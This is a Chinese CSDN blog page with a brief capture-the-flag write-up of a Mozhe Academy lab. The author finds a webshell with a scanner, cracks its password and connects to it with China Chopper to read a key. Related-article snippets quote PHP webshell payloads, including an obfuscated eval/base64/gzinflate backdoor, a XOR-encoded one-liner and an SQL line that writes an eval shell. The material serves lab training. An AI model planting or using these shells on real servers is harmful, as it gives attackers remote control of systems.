墨者学院-php分析溯源

最新推荐文章于 2022-01-16 15:25:29 发布
最新推荐文章于 2022-01-16 15:25:29 发布
阅读量229 收藏
点赞数
分类专栏： 墨者学院 文章标签： 墨者学院 溯源 应急响应 渗透测试
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_37850901/article/details/101425224
版权

将网站源代码下载完毕，使用d盾进行扫描，发现webshell在这里插入图片描述
查看里面的代码，解析md5，密码x，使用菜刀连接在这里插入图片描述http://219.153.49.228:42133/shell.php?a=1Q2W3E
在根目录找到key.txt,提交验证。在这里插入图片描述

99小飞侠9
关注
  • 0
    点赞
  • 踩
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
墨者学院-HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)
05-29
HTML前端代码分析(暗链)、HTTP动作练习、IP地址伪造(第2题)、phpMyAdmin后台文件包含分析溯源、PHP代码分析溯源(第1题)、PHP代码分析溯源(第2题)、PHP逻辑漏洞利用实战(第1题)、SQL手工注入漏洞测试(Access数据库)
墨者学院 PHP代码分析溯源(第4题) 详解
永远是少年
12-11 736
今天继续给大家介绍CTF通关writeup，本文主要内容是墨者学院 PHP代码分析溯源(第4题)。 一、题目简介 二、破解源码 三、命令执行拿到key
墨者学院-php代码分析溯源
臭nana的博客
12-14 345
打开发现代码是base64+压缩的编码 最简单的方式是将eval变成echo，其他方法 得到echo `$_REQUEST[a]`;; ?> 构造payload:?a=ls，发现key文件   用了ls就明白这是肯定不是在windows系统，所以不能用file_get_contents 两种方法： 1.使用cat不能直接读取出来，但可以查看源代码，在前面加view-...
PHP代码分析溯源(第1题)
mozhe_的博客
05-25 1639
靶场地址：https://www.mozhe.cn/bug/detail/UW5xcFhsWE05akxJYjB1TzEyM2p3UT09bW96aGUmozhe靶场显示一段PHP源码，经分析：1、“^”为异或运算符。在PHP中，两个变量进行异或时，会将字符串转换成二进制再进行异或，异或完，又将结果从二进制转换成了字符串。2、$_++;这行代码的意思是对变量名为"_"的变量进行自增操作，在PHP中...
墨者学院-PHP代码分析溯源(第1题)
JimWu的博客
09-04 353
PHP代码分析溯源(第1题) 难易程度:★ 题目类型:代码审计 使用工具:FireFox浏览器、菜刀 1.访问网页，得到php代码 <?php @$_++;$__=("`"^"?").(":"^"}").("%"^"`").("{"^"/");$___=("$"^"{").("~"^".").("/"^"`").("-"^"~").("("^"|");${$__}[!$_](${$___}[...
APP原型实例：墨者科技-旅行小蜜APP2.0.rp
12-17
产品经理
0080 APP原型实例：墨者科技-旅行小蜜APP2.0.rp
01-06
rp原型源文件
WebShell文件上传漏洞分析溯源
02-22
WebShell 文件上传漏洞分析溯源 一、WebShell 文件上传漏洞概述 WebShell 文件上传漏洞是指攻击者通过上传恶意文件（如WebShell）来获取服务器的控制权，从而实现对服务器的攻击和控制。这种漏洞通常存在于Web应用...
墨者安全软件-免费杀毒软件
11-11
墨者安全专家是一款永久免费的免疫型安全防护软件，集墨者独创的 “革离术”、终身免费杀毒、修复系统漏洞、上网痕迹清理、网络防火墙、系统实时保护、安全互助社区等强大功能于一身。特别是独创的“革离术”，利用...
墨者PHP代码分析溯源(第4题)题解
zr1213159840的博客
01-16 613
首先打开页面，有个提示，而且还有段代码 仔细看下这段代码 <?php eval(gzinflate(base64_decode(&40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&))); ?> 能看出来首先是一段字符进行了解码，通过末尾的等于能看出来这是一段base64的解码，然后再使用前面的gzinflate函数执行了一次。gzinflate函数通过查询看是对数据进行了压缩，那么这段代码的含义就是对后面的字符串先解密然后压缩。我们直接对ev
墨者学院 - PHP代码分析溯源(第2题)
多崎巡礼的博客
07-30 1235
根据题干看了好久的php隐式转换。。。 还是毫无头绪。。。 这样的逻辑几乎是无解的。。。 md5(QNKCDZO,32) = 0e830400451993494058024219903391   根据PHP Hash比较存在缺陷 http://www.freebuf.com/news/67007.html 。。。在这道题中，最重要的一句话就是： 根据php的隐式转换可以知道 o...
墨者 - PHP代码分析溯源(第1题)
吃肉唐僧的博客
07-12 581
进入环境，发现是php源码 用在线php代码调试工具调试（要用echo输出，将${$__}[!$_](${$___}[$_]);删掉，否则报错） 结合输出，${$__}[!$_](${$___}[$_]); 的意思大概是 <?php $_GET[0]($_POST[1])?> 这是php一句话木马的变种 其他更多变种参考：https://blog.csdn.net/x...
墨者学院 - PHP代码分析溯源(第3题)
多崎巡礼的博客
08-03 671
在for 循环中是判断输入的字符是否有存在在1和9之间的数字 如果不存在判断是否等于54975581388 等于则绕过 即 又不能等于数字1-9又要等于54975581388 但是这里在比较的时候就是用弱类型的，所以不要求完全一致。 php在转码时会把16进制转化为十进制.于是把54975581388转化成16进制0xccccccccc 键入 0xccccccccc 输入得到key...
墨者学院 - PHP代码分析溯源(第4题)
多崎巡礼的博客
08-05 1074
打开发现提示key在根目录，且给出代码 &lt;?php eval(gzinflate(base64_decode(&amp;40pNzshXSFCJD3INDHUNDolOjE2wtlawt+MCAA==&amp;))); ?&gt;  这是base64加密+压缩的编码 简单方法就是直接把eval改成echo输出 执行&lt;?php echo(gzinflate(base64_decode(‘...
php d盾,这个php文件用D盾扫出来是已知后门，怎么看得出那句是后门
weixin_35649605的博客
03-10 451
.checked=false;coll.parentNode.parentNode.style.backgroundColor='';}}}}"."\n"."1 / 2 / 3\n"."\n"."\n"."\n"."\n".$qx."";if($_SESSION['folder']!="./" and $_SESSION['folder']!="/"){$last = (substr($_SESS...
大学生php实验报告,php实验报告一
weixin_28323057的博客
03-09 3243
实验综合成绩(百分制)实验评阅教师签名 其中 实验态度 优 良 中 及格 不及格 李跃贞 实验报告 优 良 中 及格 不及格 华北科技学院管理学院 告 实 验 报 告 册实 实验 验报 报告 告实验时间 :２ 015 年 年 1 1 １月1 11 1日3 3 、４节20实验课程名称: :电子商务开发技术实验项目序号: :实验三实验项目名称: :php语言编程实 验 室 名 称 : :电子商务实验室...
墨者学院-入门级-phpMyAdmin后台文件包含分析溯源-小白必看（超详细）
kitiu666的博客
01-26 1313
2021年1月26日，第六次渗透测试。 实在抱歉，因为工作原因许久没有更新测试，期间生活也发生了很多事，现在心情也不怎么好，但也尽量讲细一点吧，开干！ 准备需求： 1、win10系统； 2、中国菜刀； 1、进入靶场 账号：root 密码：root 这个账号密码都是看其他的教程知道的，至于怎样破解出来不知道，能力有限，过后我看看怎么来的吧。（如果了解再回来追跟）； 2、进入到后台，到SQL页面，在控制台下输入以下命令，然后点击执行； select ‘<?php eval($_POST[key
墨者学院-登录密码重置漏洞分析溯源
qq_37850901的博客
09-26 733
墨者学院-登录密码重置漏洞分析溯源 此题我是这么做出来的，首先用我已知的手机号进行重置密码操作，然后再开一个网页，填上嫌疑人的手机号，并发送短信，然后也给已知的手机号发送验证码 再给嫌疑人的复制过去，得到key ...
墨者学院sql注入 x-f
最新发布
07-27
墨者学院SQL注入是一种常见的Web应用程序安全漏洞，攻击者通过在输入字段中插入恶意的SQL代码来实现对数据库的非授权访问。X-F是HTTP请求头部的一个字段，通常用于传递客户端IP地址或其他相关信息。在某些情况下，...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值